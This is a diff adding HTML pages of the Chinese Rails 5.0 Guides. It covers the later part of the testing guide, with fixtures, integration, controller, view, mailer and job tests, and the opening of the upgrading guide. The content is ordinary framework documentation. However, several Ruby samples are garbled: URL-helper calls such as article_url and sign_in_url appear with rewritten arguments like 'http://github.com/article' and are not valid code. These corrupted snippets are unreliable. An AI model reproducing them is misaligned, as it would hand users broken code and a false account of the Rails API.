+# Running:
+
+..
+
+Finished in 0.027034s, 73.9810 runs/s, 110.9715 assertions/s.
+
+2 runs, 3 assertions, 0 failures, 0 errors, 0 skips
+
+
+
+

上述命令运行测试用例中的所有测试方法。

也可以运行测试用例中特定的测试方法:指定 -n--name 旗标和测试方法的名称。

+
+$ bin/rails test test/models/article_test.rb -n test_the_truth
+Run options: -n test_the_truth --seed 43583
+
+# Running:
+
+.
+
+Finished tests in 0.009064s, 110.3266 tests/s, 110.3266 assertions/s.
+
+1 tests, 1 assertions, 0 failures, 0 errors, 0 skips
+
+
+
+

也可以运行某一行中的测试,方法是指定行号。

+
+$ bin/rails test test/models/article_test.rb:6 # 运行某一行中的测试
+
+
+
+

也可以运行整个目录中的测试,方法是指定目录的路径。

+
+$ bin/rails test test/controllers # 运行指定目录中的所有测试
+
+
+
+

此外,测试运行程序还有很多功能,例如快速失败、测试运行结束后统一输出,等等。详情参见测试运行程序的文档,如下:

+
+$ bin/rails test -h
+minitest options:
+    -h, --help                       Display this help.
+    -s, --seed SEED                  Sets random seed. Also via env. Eg: SEED=n rake
+    -v, --verbose                    Verbose. Show progress processing files.
+    -n, --name PATTERN               Filter run on /regexp/ or string.
+        --exclude PATTERN            Exclude /regexp/ or string from run.
+
+Known extensions: rails, pride
+
+Usage: bin/rails test [options] [files or directories]
+You can run a single test by appending a line number to a filename:
+
+    bin/rails test test/models/user_test.rb:27
+
+You can run multiple files and directories at the same time:
+
+    bin/rails test test/controllers test/integration/login_test.rb
+
+By default test failures and errors are reported inline during a run.
+
+Rails options:
+    -e, --environment ENV            Run tests in the ENV environment
+    -b, --backtrace                  Show the complete backtrace
+    -d, --defer-output               Output test failures and errors after the test run
+    -f, --fail-fast                  Abort test run on first failure or error
+    -c, --[no-]color                 Enable color in the output
+
+
+
+

3 测试数据库

几乎每个 Rails 应用都经常与数据库交互,因此测试也需要这么做。为了有效编写测试,你要知道如何搭建测试数据库,以及如何使用示例数据填充。

默认情况下,每个 Rails 应用都有三个环境:开发环境、测试环境和生产环境。各个环境中的数据库在 config/database.yml 文件中配置。

为测试专门提供一个数据库方便我们单独设置和与测试数据交互。这样,我们可以放心地处理测试数据,不必担心会破坏开发数据库或生产数据库中的数据。

3.1 维护测试数据库的模式

为了能运行测试,测试数据库要有应用当前的数据库结构。测试辅助方法会检查测试数据库中是否有尚未运行的迁移。如果有,会尝试把 db/schema.rbdb/structure.sql 载入数据库。之后,如果迁移仍处于待运行状态,会抛出异常。通常,这表明数据库模式没有完全迁移。在开发数据库中运行迁移(bin/rails db:migrate)能更新模式。

如果修改了现有的迁移,要重建测试数据库。方法是执行 bin/rails db:test:prepare 命令。

3.2 固件详解

好的测试应该具有提供测试数据的方式。在 Rails 中,测试数据由固件(fixture)提供。关于固件的全面说明,参见 API 文档

3.2.1 固件是什么?

固件代指示例数据,在运行测试之前,使用预先定义好的数据填充测试数据库。固件与所用的数据库没有关系,使用 YAML 格式编写。一个模型有一个固件文件。

固件不是为了创建测试中用到的每一个对象,需要公用的默认数据时才应该使用。

固件保存在 test/fixtures 目录中。执行 rails generate model 命令生成新模型时,Rails 会在这个目录中自动创建固件文件。

3.2.2 YAML

使用 YAML 格式编写的固件可读性高,能更好地表述示例数据。这种固件文件的扩展名是 .yml(如 users.yml)。

下面举个例子:

+
+# lo & behold! I am a YAML comment!
+david:
+  name: David Heinemeier Hansson
+  birthday: 1979-10-15
+  profession: Systems development
+
+steve:
+  name: Steve Ross Kellock
+  birthday: 1974-09-27
+  profession: guy with keyboard
+
+
+
+

每个固件都有名称,后面跟着一个缩进的键值对(以冒号分隔)列表。记录之间往往使用空行分开。在固件中可以使用注释,在行首加上 # 符号即可。

如果涉及到关联,定义一个指向其他固件的引用即可。例如,下面的固件针对 belongs_to/has_many 关联:

+
+# In fixtures/categories.yml
+about:
+  name: About
+
+# In fixtures/articles.yml
+first:
+  title: Welcome to Rails!
+  body: Hello world!
+  category: about
+
+
+
+

注意,在 fixtures/articles.yml 文件中,first 文章的 categoryabout,这告诉 Rails,要加载 fixtures/categories.yml 文件中的 about 分类。

在固件中创建关联时,引用的是另一个固件的名称,而不是 id 属性。Rails 会自动分配主键。关于这种关联行为的详情,参阅固件的 API 文档

3.2.3 使用 ERB 增强固件

ERB 用于在模板中嵌入 Ruby 代码。Rails 加载 YAML 格式的固件时,会先使用 ERB 进行预处理,因此可使用 Ruby 代码协助生成示例数据。例如,下面的代码会生成一千个用户:

+
+<% 1000.times do |n| %>
+user_<%= n %>:
+  username: <%= "user#{n}" %>
+  email: <%= "user#{n}@example.com" %>
+<% end %>
+
+
+
+
3.2.4 固件实战

默认情况下,Rails 会自动加载 test/fixtures 目录中的所有固件。加载的过程分为三步:

+
    +
  1. 从数据表中删除所有和固件对应的数据;

  2. +
  3. 把固件载入数据表;

  4. +
  5. 把固件中的数据转储成方法,以便直接访问。

  6. +
+

为了从数据库中删除现有数据,Rails 会尝试禁用引用完整性触发器(如外键和约束检查)。运行测试时,如果见到烦人的权限错误,确保数据库用户有权在测试环境中禁用这些触发器。(对 PostgreSQL 来说,只有超级用户能禁用全部触发器。关于 PostgreSQL 权限的详细说明参阅这篇文章。)

3.2.5 固件是 Active Record 对象

固件是 Active Record 实例。如前一节的第 3 点所述,在测试用例中可以直接访问这个对象,因为固件中的数据会转储成测试用例作用域中的方法。例如:

+
+# 返回 david 固件对应的 User 对象
+users(:david)
+
+# 返回 david 的 id 属性
+users(:david).id
+
+# 还可以调用 User 类的方法
+david = users(:david)
+david.call(david.partner)
+
+
+
+

如果想一次获取多个固件,可以传入一个固件名称列表。例如:

+
+# 返回一个数组,包含 david 和 steve 两个固件
+users(:david, :steve)
+
+
+
+

4 模型测试

模型测试用于测试应用中的各个模型。

Rails 模型测试存储在 test/models 目录中。Rails 提供了一个生成器,可用它生成模型测试骨架。

+
+$ bin/rails generate test_unit:model article title:string body:text
+create  test/models/article_test.rb
+create  test/fixtures/articles.yml
+
+
+
+

模型测试没有专门的超类(如 ActionMailer::TestCase),而是继承自 ActiveSupport::TestCase

5 集成测试

集成测试用于测试应用中不同部分之间的交互,一般用于测试应用中重要的工作流程。

集成测试存储在 test/integration 目录中。Rails 提供了一个生成器,使用它可以生成集成测试骨架。

+
+$ bin/rails generate integration_test user_flows
+      exists  test/integration/
+      create  test/integration/user_flows_test.rb
+
+
+
+

上述命令生成的集成测试如下:

+
+require 'test_helper'
+
+class UserFlowsTest < ActionDispatch::IntegrationTest
+  # test "the truth" do
+  #   assert true
+  # end
+end
+
+
+
+

这个测试继承自 ActionDispatch::IntegrationTest 类,因此可以在集成测试中使用一些额外的辅助方法。

5.1 集成测试可用的辅助方法

除了标准的测试辅助方法之外,由于集成测试继承自 ActionDispatch::IntegrationTest,因此在集成测试中还可使用一些额外的辅助方法。下面简要介绍三类辅助方法。

集成测试运行程序的说明参阅 ActionDispatch::Integration::Runner 模块的文档

执行请求的方法参见 ActionDispatch::Integration::RequestHelpers 模块的文档

如果需要修改会话或集成测试的状态,参阅 ActionDispatch::Integration::Session 类的文档

5.2 编写一个集成测试

下面为博客应用添加一个集成测试。我们将执行基本的工作流程,新建一篇博客文章,确认一切都能正常运作。

首先,生成集成测试骨架:

+
+$ bin/rails generate integration_test blog_flow
+
+
+
+

这个命令会创建一个测试文件。在上述命令的输出中应该看到:

+
+invoke  test_unit
+create    test/integration/blog_flow_test.rb
+
+
+
+

打开那个文件,编写第一个断言:

+
+require 'test_helper'
+
+class BlogFlowTest < ActionDispatch::IntegrationTest
+  test "can see the welcome page" do
+    get "/"
+    assert_select "h1", "Welcome#index"
+  end
+end
+
+
+
+

assert_select 用于查询请求得到的 HTML,测试视图说明。我们使用它测试请求的响应:断言响应的内容中有关键的 HTML 元素。

访问根路径时,应该使用 welcome/index.html.erb 渲染视图。因此,这个断言应该通过。

5.2.1 测试发布文章的流程

下面测试在博客中新建文章以及查看结果的功能。

+
+test "can create an article" do
+  get "/articles/new"
+  assert_response :success
+
+  post "/articles",
+    params: { article: { title: "can create", body: "article successfully." } }
+  assert_response :redirect
+  follow_redirect!
+  assert_response :success
+  assert_select "p", "Title:\n  can create"
+end
+
+
+
+

我们来分析一下这段测试。

首先,我们调用 Articles 控制器的 new 动作。应该得到成功的响应。

然后,我们向 Articles 控制器的 create 动作发送 POST 请求:

+
+post "/articles",
+  params: { article: { title: "can create", body: "article successfully." } }
+assert_response :redirect
+follow_redirect!
+
+
+
+

请求后面两行的作用是处理创建文章后的重定向。

重定向后如果还想发送请求,别忘了调用 follow_redirect!

最后,我们断言得到的是成功的响应,而且页面中显示了新建的文章。

5.2.2 更进一步

我们刚刚测试了访问博客和新建文章功能,这只是工作流程的一小部分。如果想更进一步,还可以测试评论、删除文章或编辑评论。集成测试就是用来检查应用的各种使用场景的。

6 为控制器编写功能测试

在 Rails 中,测试控制器各动作需要编写功能测试(functional test)。控制器负责处理应用收到的请求,然后使用视图渲染响应。功能测试用于检查动作对请求的处理,以及得到的结果或响应(某些情况下是 HTML 视图)。

6.1 功能测试要测试什么

应该测试以下内容:

+
    +
  • 请求是否成功;

  • +
  • 是否重定向到正确的页面;

  • +
  • 用户是否通过身份验证;

  • +
  • 是否把正确的对象传给渲染响应的模板;

  • +
  • 是否在视图中显示相应的消息;

  • +
+

如果想看一下真实的功能测试,最简单的方法是使用脚手架生成器生成一个控制器:

+
+$ bin/rails generate scaffold_controller article title:string body:text
+...
+create  app/controllers/articles_controller.rb
+...
+invoke  test_unit
+create    test/controllers/articles_controller_test.rb
+...
+
+
+
+

上述命令会为 Articles 资源生成控制器和测试。你可以看一下 test/controllers 目录中的 articles_controller_test.rb 文件。

如果已经有了控制器,只想为默认的七个动作生成测试代码的话,可以使用下述命令:

+
+$ bin/rails generate test_unit:scaffold article
+...
+invoke  test_unit
+create test/controllers/articles_controller_test.rb
+...
+
+
+
+

下面分析一个功能测试:articles_controller_test.rb 文件中的 test_should_get_index

+
+# articles_controller_test.rb
+class ArticlesControllerTest < ActionDispatch::IntegrationTest
+  test "should get index" do
+    get articles_url
+    assert_response :success
+  end
+end
+
+
+
+

test_should_get_index 测试中,Rails 模拟了一个发给 index 动作的请求,确保请求成功,而且生成了正确的响应主体。

get 方法发起请求,并把结果传入响应中。这个方法可接受 6 个参数:

+
    +
  • 所请求控制器的动作,可使用字符串或符号。

  • +
  • params:一个选项散列,指定传入动作的请求参数(例如,查询字符串参数或文章变量)。

  • +
  • headers:设定随请求发送的首部。

  • +
  • env:按需定制请求环境。

  • +
  • xhr:指明是不是 Ajax 请求;设为 true 表示是 Ajax 请求。

  • +
  • as:使用其他内容类型编码请求;默认支持 :json

  • +
+

所有关键字参数都是可选的。

举个例子。调用 :show 动作,把 params 中的 id 设为 12,并且设定 HTTP_REFERER 首部:

+
+get :show, params: { id: 12 }, headers: { "HTTP_REFERER" => "http://example.com/home" }
+
+
+
+

再举个例子。调用 :update 动作,把 params 中的 id 设为 12,并且指明是 Ajax 请求:

+
+patch update_url, params: { id: 12 }, xhr: true
+
+
+
+

如果现在运行 articles_controller_test.rb 文件中的 test_should_create_article 测试,它会失败,因为前文添加了模型层验证。

我们来修改 articles_controller_test.rb 文件中的 test_should_create_article 测试,让所有测试都通过:

+
+test "should create article" do
+  assert_difference('Article.count') do
+    post articles_url, params: { article: { body: 'Rails is awesome!', title: 'Hello Rails' } }
+  end
+
+  assert_redirected_to article_path(Article.last)
+end
+
+
+
+

现在你可以运行所有测试,应该都能通过。

6.2 功能测试中可用的请求类型

如果熟悉 HTTP 协议就会知道,get 是请求的一种类型。在 Rails 功能测试中可以使用 6 种请求:

+
    +
  • get

  • +
  • post

  • +
  • patch

  • +
  • put

  • +
  • head

  • +
  • delete

  • +
+

这几种请求都有相应的方法可用。在常规的 CRUD 应用中,最常使用 getpostputdelete

功能测试不检测动作是否能接受指定类型的请求,而是关注请求的结果。如果想做这样的测试,应该使用请求测试(request test)。

6.3 测试 XHR(Ajax)请求

如果想测试 Ajax 请求,要在 getpostpatchputdelete 方法中设定 xhr: true 选项。例如:

+
+test "ajax request" do
+  article = articles(:one)
+  get article_url(http://github.com/article), xhr: true
+
+  assert_equal 'hello world', @response.body
+  assert_equal "text/javascript", @response.content_type
+end
+
+
+
+

6.4 可用的三个散列

请求发送并处理之后,有三个散列对象可供我们使用:

+
    +
  • cookies:设定的 cookie

  • +
  • flash:闪现消息中的对象

  • +
  • session:会话中的对象

  • +
+

和普通的散列对象一样,可以使用字符串形式的键获取相应的值。此外,也可以使用符号形式的键。例如:

+
+flash["gordon"]               flash[:gordon]
+session["shmession"]          session[:shmession]
+cookies["are_good_for_u"]     cookies[:are_good_for_u]
+
+
+
+

6.5 可用的实例变量

在功能测试中还可以使用下面三个实例变量:

+
    +
  • @controller:处理请求的控制器

  • +
  • @request:请求对象

  • +
  • @response:响应对象

  • +
+

6.6 设定首部和 CGI 变量

HTTP 首部CGI 变量可以通过 headers 参数传入:

+
+# 设定一个 HTTP 首部
+get articles_url, headers: "Content-Type" => "text/plain" # 模拟有自定义首部的请求
+
+# 设定一个 CGI 变量
+get articles_url, headers: "HTTP_REFERER" => "http://example.com/home" # 模拟有自定义环境变量的请求
+
+
+
+

6.7 测试闪现消息

你可能还记得,在功能测试中可用的三个散列中有一个是 flash

我们想在这个博客应用中添加一个闪现消息,在成功发布新文章之后显示。

首先,在 test_should_create_article 测试中添加一个断言:

+
+test "should create article" do
+  assert_difference('Article.count') do
+    post article_url, params: { article: { title: 'Some title' } }
+  end
+
+  assert_redirected_to article_path(Article.last)
+  assert_equal 'Article was successfully created.', flash[:notice]
+end
+
+
+
+

现在运行测试,应该会看到有一个测试失败:

+
+$ bin/rails test test/controllers/articles_controller_test.rb -n test_should_create_article
+Run options: -n test_should_create_article --seed 32266
+
+# Running:
+
+F
+
+Finished in 0.114870s, 8.7055 runs/s, 34.8220 assertions/s.
+
+  1) Failure:
+ArticlesControllerTest#test_should_create_article [/test/controllers/articles_controller_test.rb:16]:
+--- expected
++++ actual
+@@ -1 +1 @@
+-"Article was successfully created."
++nil
+
+1 runs, 4 assertions, 1 failures, 0 errors, 0 skips
+
+
+
+

接下来,在控制器中添加闪现消息。现在,create 控制器应该是下面这样:

+
+def create
+  @article = Article.new(article_params)
+
+  if @article.save
+    flash[:notice] = 'Article was successfully created.'
+    redirect_to @article
+  else
+    render 'new'
+  end
+end
+
+
+
+

再运行测试,应该能通过:

+
+$ bin/rails test test/controllers/articles_controller_test.rb -n test_should_create_article
+Run options: -n test_should_create_article --seed 18981
+
+# Running:
+
+.
+
+Finished in 0.081972s, 12.1993 runs/s, 48.7972 assertions/s.
+
+1 runs, 4 assertions, 0 failures, 0 errors, 0 skips
+
+
+
+

6.8 测试其他动作

至此,我们测试了 Articles 控制器的 indexnewcreate 三个动作。那么,怎么处理现有数据呢?

下面为 show 动作编写一个测试:

+
+test "should show article" do
+  article = articles(:one)
+  get article_url(http://github.com/article)
+  assert_response :success
+end
+
+
+
+

还记得前文对固件的讨论吗?我们可以使用 articles() 方法访问 Articles 固件。

怎么删除现有的文章呢?

+
+test "should destroy article" do
+  article = articles(:one)
+  assert_difference('Article.count', -1) do
+    delete article_url(http://github.com/article)
+  end
+
+  assert_redirected_to articles_path
+end
+
+
+
+

我们还可以为更新现有文章这一操作编写一个测试。

+
+test "should update article" do
+  article = articles(:one)
+
+  patch article_url(http://github.com/article), params: { article: { title: "updated" } }
+
+  assert_redirected_to article_path(article)
+  # 重新加载关联,获取最新的数据,然后断定标题更新了
+  article.reload
+  assert_equal "updated", article.title
+end
+
+
+
+

可以看到,这三个测试中开始有重复了:都访问了同一个文章固件数据。为了避免自我重复,我们可以使用 ActiveSupport::Callbacks 提供的 setupteardown 方法清理。

清理后的测试如下。为了行为简洁,我们暂且不管其他测试。

+
+require 'test_helper'
+
+class ArticlesControllerTest < ActionDispatch::IntegrationTest
+  # 在各个测试之前调用
+  setup do
+    @article = articles(:one)
+  end
+
+  # 在各个测试之后调用
+  teardown do
+    # 如果控制器使用缓存,最好在后面重设
+    Rails.cache.clear
+  end
+
+  test "should show article" do
+    # 复用 setup 中定义的 @article 实例变量
+    get article_url(http://github.com/@article)
+    assert_response :success
+  end
+
+  test "should destroy article" do
+    assert_difference('Article.count', -1) do
+      delete article_url(http://github.com/@article)
+    end
+
+    assert_redirected_to articles_path
+  end
+
+  test "should update article" do
+    patch article_url(http://github.com/@article), params: { article: { title: "updated" } }
+
+    assert_redirected_to article_path(@article)
+    # 重新加载关联,获取最新的数据,然后断定标题更新了
+    @article.reload
+    assert_equal "updated", @article.title
+  end
+end
+
+
+
+

与 Rails 中的其他回调一样,setupteardown 也接受块、lambda 或符号形式的方法名。

6.9 测试辅助方法

为了避免代码重复,可以自定义测试辅助方法。下面实现用于登录的辅助方法:

+
+#test/test_helper.rb
+
+module SignInHelper
+  def sign_in_as(user)
+    post sign_in_url(/service/email: user.email, password: user.password)
+  end
+end
+
+class ActionDispatch::IntegrationTest
+  include SignInHelper
+end
+
+
+
+
+
+require 'test_helper'
+
+class ProfileControllerTest < ActionDispatch::IntegrationTest
+
+  test "should show profile" do
+    # 辅助方法在任何控制器测试用例中都可用
+    sign_in_as users(:david)
+
+    get profile_url
+    assert_response :success
+  end
+end
+
+
+
+

7 测试路由

与 Rails 应用中其他各方面内容一样,路由也可以测试。

应用的路由复杂也不怕,Rails 提供了很多有用的测试辅助方法。

关于 Rails 中可用的路由断言,参见 ActionDispatch::Assertions::RoutingAssertions 模块的 API 文档

8 测试视图

测试请求的响应中是否出现关键的 HTML 元素和相应的内容是测试应用视图的一种常见方式。与路由测试一样,视图测试放在 test/controllers/ 目录中,或者直接写在控制器测试中。assert_select 方法用于查询响应中的 HTML 元素,其句法简单而强大。

assert_select 有两种形式。

assert_select(selector, [equality], [message]) 测试 selector 选中的元素是否符合 equality 指定的条件。selector 可以是 CSS 选择符表达式(字符串),或者是有代入值的表达式。

assert_select(element, selector, [equality], [message]) 测试 selector 选中的元素和 elementNokogiri::XML::NodeNokogiri::XML::NodeSet 实例)及其子代是否符合 equality 指定的条件。

例如,可以使用下面的断言检测 title 元素的内容:

+
+assert_select 'title', "Welcome to Rails Testing Guide"
+
+
+
+

assert_select 的代码块还可嵌套使用。

在下述示例中,内层的 assert_select 会在外层块选中的元素集合中查询 li.menu_item

+
+assert_select 'ul.navigation' do
+  assert_select 'li.menu_item'
+end
+
+
+
+

除此之外,还可以遍历外层 assert_select 选中的元素集合,这样就可以在集合的每个元素上运行内层 assert_select 了。

假如响应中有两个有序列表,每个列表中都有 4 个列表项,那么下面这两个测试都会通过:

+
+assert_select "ol" do |elements|
+  elements.each do |element|
+    assert_select element, "li", 4
+  end
+end
+
+assert_select "ol" do
+  assert_select "li", 8
+end
+
+
+
+

assert_select 断言很强大,高级用法请参阅文档

8.1 其他视图相关的断言

还有一些断言经常在视图测试中使用:

+ + + + + + + + + + + + + + + + + + + + + +
断言作用
assert_select_email检查电子邮件的正文。
assert_select_encoded检查编码后的 HTML。先解码各元素的内容,然后在代码块中处理解码后的各个元素。
css_select(selector) 或 css_select(element, selector)返回由 selector 选中的所有元素组成的数组。在后一种用法中,首先会找到 element,然后在其中执行 selector 表达式查找元素,如果没有匹配的元素,两种用法都返回空数组。
+

下面是 assert_select_email 断言的用法举例:

+
+assert_select_email do
+  assert_select 'small', 'Please click the "Unsubscribe" link if you want to opt-out.'
+end
+
+
+
+

9 测试辅助方法

辅助方法是简单的模块,其中定义的方法可在视图中使用。

针对辅助方法的测试,只需检测辅助方法的输出和预期值是否一致。相应的测试文件保存在 test/helpers 目录中。

假设我们定义了下述辅助方法:

+
+module UserHelper
+  def link_to_user(user)
+    link_to "#{user.first_name} #{user.last_name}", user
+  end
+end
+
+
+
+

我们可以像下面这样测试它的输出:

+
+class UserHelperTest < ActionView::TestCase
+  test "should return the user's full name" do
+    user = users(:david)
+
+    assert_dom_equal %{<a href="http://github.com/user/#{user.id}">David Heinemeier Hansson</a>}, link_to_user(user)
+  end
+end
+
+
+
+

而且,因为测试类继承自 ActionView::TestCase,所以在测试中可以使用 Rails 内置的辅助方法,例如 link_topluralize

10 测试邮件程序

测试邮件程序需要一些特殊的工具才能完成。

10.1 确保邮件程序在管控内

和 Rails 应用的其他组件一样,邮件程序也应该测试,确保能正常工作。

测试邮件程序的目的是:

+
    +
  • 确保处理了电子邮件(创建及发送)

  • +
  • 确保邮件内容正确(主题、发件人、正文等)

  • +
  • 确保在正确的时间发送正确的邮件

  • +
+
10.1.1 要全面测试

针对邮件程序的测试分为两部分:单元测试和功能测试。在单元测试中,单独运行邮件程序,严格控制输入,然后和已知值(固件)对比。在功能测试中,不用这么细致的测试,只要确保控制器和模型正确地使用邮件程序,在正确的时间发送正确的邮件。

10.2 单元测试

为了测试邮件程序是否能正常使用,可以把邮件程序真正得到的结果和预先写好的值进行比较。

10.2.1 固件的另一个用途

在单元测试中,固件用于设定期望得到的值。因为这些固件是示例邮件,不是 Active Record 数据,所以要和其他固件分开,放在单独的子目录中。这个子目录位于 test/fixtures 目录中,其名称与邮件程序对应。例如,邮件程序 UserMailer 使用的固件保存在 test/fixtures/user_mailer 目录中。

生成邮件程序时,生成器会为其中每个动作生成相应的固件。如果没使用生成器,要手动创建这些文件。

10.2.2 基本的测试用例

下面的单元测试针对 UserMailerinvite 动作,这个动作的作用是向朋友发送邀请。这段代码改进了生成器为 invite 动作生成的测试。

+
+require 'test_helper'
+
+class UserMailerTest < ActionMailer::TestCase
+  test "invite" do
+    # 创建邮件,将其存储起来,供后面的断言使用
+    email = UserMailer.create_invite('me@example.com',
+                                     'friend@example.com', Time.now)
+
+    # 发送邮件,测试有没有入队
+    assert_emails 1 do
+      email.deliver_now
+    end
+
+    # 测试发送的邮件中有没有预期的内容
+    assert_equal ['me@example.com'], email.from
+    assert_equal ['friend@example.com'], email.to
+    assert_equal 'You have been invited by me@example.com', email.subject
+    assert_equal read_fixture('invite').join, email.body.to_s
+  end
+end
+
+
+
+

在这个测试中,我们发送了一封邮件,并把返回对象赋值给 email 变量。首先,我们确保邮件已经发送了;随后,确保邮件中包含预期的内容。read_fixture 这个辅助方法的作用是从指定的文件中读取内容。

invite 固件的内容如下:

+
+Hi friend@example.com,
+
+You have been invited.
+
+Cheers!
+
+
+
+

现在我们稍微深入一点地介绍针对邮件程序的测试。在 config/environments/test.rb 文件中,有这么一行设置:ActionMailer::Base.delivery_method = :test。这行设置把发送邮件的方法设为 :test,所以邮件并不会真的发送出去(避免测试时骚扰用户),而是添加到一个数组中(ActionMailer::Base.deliveries)。

ActionMailer::Base.deliveries 数组只会在 ActionMailer::TestCaseActionDispatch::IntegrationTest 测试中自动重设,如果想在这些测试之外使用空数组,可以手动重设:ActionMailer::Base.deliveries.clear

10.3 功能测试

邮件程序的功能测试不只是测试邮件正文和收件人等是否正确这么简单。在针对邮件程序的功能测试中,要调用发送邮件的方法,检查相应的邮件是否出现在发送列表中。你可以尽情放心地假定发送邮件的方法本身能顺利完成工作。你需要重点关注的是应用自身的业务逻辑,确保能在预期的时间发出邮件。例如,可以使用下面的代码测试邀请朋友的操作是否发出了正确的邮件:

+
+require 'test_helper'
+
+class UserControllerTest < ActionDispatch::IntegrationTest
+  test "invite friend" do
+    assert_difference 'ActionMailer::Base.deliveries.size', +1 do
+      post invite_friend_url, params: { email: 'friend@example.com' }
+    end
+    invite_email = ActionMailer::Base.deliveries.last
+
+    assert_equal "You have been invited by me@example.com", invite_email.subject
+    assert_equal 'friend@example.com', invite_email.to[0]
+    assert_match(/Hi friend@example.com/, invite_email.body.to_s)
+  end
+end
+
+
+
+

11 测试作业

因为自定义的作业在应用的不同层排队,所以我们既要测试作业本身(入队后的行为),也要测试是否正确入队了。

11.1 一个基本的测试用例

默认情况下,生成作业时也会生成相应的测试,存储在 test/jobs 目录中。下面是付款作业的测试示例:

+
+require 'test_helper'
+
+class BillingJobTest < ActiveJob::TestCase
+  test 'that account is charged' do
+    BillingJob.perform_now(account, product)
+    assert account.reload.charged_for?(product)
+  end
+end
+
+
+
+

这个测试相当简单,只是断言作业能做预期的事情。

默认情况下,ActiveJob::TestCase 把队列适配器设为 :async,因此作业是异步执行的。此外,在运行任何测试之前,它会清理之前执行的和入队的作业,因此我们可以放心假定在当前测试的作用域中没有已经执行的作业。

11.2 自定义断言和测试其他组件中的作业

Active Job 自带了很多自定义的断言,可以简化测试。可用的断言列表参见 ActiveJob::TestHelper 模块的 API 文档

不管作业是在哪里调用的(例如在控制器中),最好都要测试作业能正确入队或执行。这时就体现了 Active Job 提供的自定义断言的用处。例如,在模型中:

+
+require 'test_helper'
+
+class ProductTest < ActiveJob::TestCase
+  test 'billing job scheduling' do
+    assert_enqueued_with(job: BillingJob) do
+      product.charge(account)
+    end
+  end
+end
+
+
+
+

12 其他测试资源

12.1 测试与时间有关的代码

Rails 提供了一些内置的辅助方法,便于我们测试与时间有关的代码。

下述示例用到了 travel_to 辅助方法:

+
+# 假设用户在注册一个月内可以获取礼品
+user = User.create(name: 'Gaurish', activation_date: Date.new(2004, 10, 24))
+assert_not user.applicable_for_gifting?
+travel_to Date.new(2004, 11, 24) do
+  assert_equal Date.new(2004, 10, 24), user.activation_date # 在 travel_to 块中, `Date.current` 是拟件
+  assert user.applicable_for_gifting?
+end
+assert_equal Date.new(2004, 10, 24), user.activation_date # 改动只在 travel_to 块中可见
+
+
+
+

可用的时间辅助方法详情参见 ActiveSupport::Testing::TimeHelpers 模块的 API 文档

+ +

反馈

+

+ 我们鼓励您帮助提高本指南的质量。 +

+

+ 如果看到如何错字或错误,请反馈给我们。 + 您可以阅读我们的文档贡献指南。 +

+

+ 您还可能会发现内容不完整或不是最新版本。 + 请添加缺失文档到 master 分支。请先确认 Edge Guides 是否已经修复。 + 关于用语约定,请查看Ruby on Rails 指南指导。 +

+

+ 无论什么原因,如果你发现了问题但无法修补它,请创建 issue。 +

+

+ 最后,欢迎到 rubyonrails-docs 邮件列表参与任何有关 Ruby on Rails 文档的讨论。 +

+

中文翻译反馈

+

贡献:https://github.com/ruby-china/guides

+
+
+
+ +
+ + + + + + + + + diff --git a/v5.0/upgrading_ruby_on_rails.html b/v5.0/upgrading_ruby_on_rails.html new file mode 100644 index 0000000..f711e13 --- /dev/null +++ b/v5.0/upgrading_ruby_on_rails.html @@ -0,0 +1,1120 @@ + + + + + + + +Ruby on Rails 升级指南 — Ruby on Rails Guides + + + + + + + + + + + +
+
+ 更多内容 rubyonrails.org: + + More Ruby on Rails + + +
+
+ +
+ +
+
+

Ruby on Rails 升级指南

本文说明把 Ruby on Rails 升级到新版本的步骤。各个版本的发布记中也有升级步骤。

+ +
+

Chapters

+
    +
  1. +一般建议 + + +
  2. +
  3. +从 Rails 4.2 升级到 5.0 + + +
  4. +
  5. +从 Rails 4.1 升级到 4.2 + + +
  6. +
  7. +从 Rails 4.0 升级到 4.1 + + +
  8. +
  9. +从 Rails 3.2 升级到 4.0 + + +
  10. +
+ +
+ +
+
+ +
+
+
+

1 一般建议

计划升级现有项目之前,应该确定有升级的必要。你要考虑几个因素:对新功能的需求,难于支持旧代码,以及你的时间和技能,等等。

1.1 测试覆盖度

为了确保升级后应用依然能正常运行,最好的方式是具有足够的测试覆盖度。如果没有自动化测试保障应用,你就要自己花时间检查有变化的部分。对升级 Rails 来说,你要检查应用的每个功能。不要给自己找麻烦,在升级之前一定要保障有足够的测试覆盖度。

1.2 升级过程

升级 Rails 版本时,最好放慢脚步,一次升级一个小版本,充分利用弃用提醒。Rails 版本号的格式是“大版本.小版本.补丁版本”。大版本和小版本允许修改公开 API,因此可能导致你的应用出错。补丁版本只修正缺陷,不改变公开 API。

升级过程如下:

+
    +
  1. 编写测试,确保能通过。

  2. +
  3. 升级到当前版本的最新补丁版本。

  4. +
  5. 修正测试和弃用的功能。

  6. +
  7. 升级到下一个小版本的补丁版本。

  8. +
+

重复上述过程,直到你所选的版本为止。每次升级版本都要修改 Gemfile 中的 Rails 版本号(以及其他需要升级的 gem),再运行 bundle update。然后,运行下文所述的 update 任务,更新配置文件。最后运行测试。

Rails 的所有版本在这个页面中列出。

1.3 Ruby 版本

发布新版 Rails 时,一般会紧跟最新的 Ruby 版本:

+
    +
  • Rails 5 要求 Ruby 2.2.2 或以上版本

  • +
  • Rails 4 建议使用 Ruby 2.0,要求 1.9.3 或以上版本

  • +
  • Rails 3.2.x 是支持 Ruby 1.8.7 的最后一个版本

  • +
  • Rails 3 及以上版本要求 Ruby 1.8.7 或以上版本。官方不再支持之前的 Ruby 版本,应该尽早升级。

  • +
+

Ruby 1.8.7 p248 和 p249 有一些缺陷,会导致 Rails 崩溃。 Ruby Enterprise Edition 1.8.7-2010.02 修正了这些缺陷。对 1.9 系列来说,1.9.1 完全不能用,因此如果你使用 1.9.x 的话,应该直接跳到 1.9.3。

1.4 update 任务

Rails 提供了 app:update 任务(4.2 及之前的版本是 rails:update)。更新 Gemfile 中的 Rails 版本号之后,运行这个任务。这个任务在交互式会话中协助你创建新文件和修改旧文件。

+
+$ rails app:update
+   identical  config/boot.rb
+       exist  config
+    conflict  config/routes.rb
+Overwrite /myapp/config/routes.rb? (enter "h" for help) [Ynaqdh]
+       force  config/routes.rb
+    conflict  config/application.rb
+Overwrite /myapp/config/application.rb? (enter "h" for help) [Ynaqdh]
+       force  config/application.rb
+    conflict  config/environment.rb
+...
+
+
+
+

别忘了检查差异,以防有意料之外的改动。

2 从 Rails 4.2 升级到 5.0

Rails 5.0 的变动参见发布记

2.1 要求 Ruby 2.2.2+

从 Ruby on Rails 5.0 开始,只支持 Ruby 2.2.2+。升级之前,确保你使用的是 Ruby 2.2.2 或以上版本。

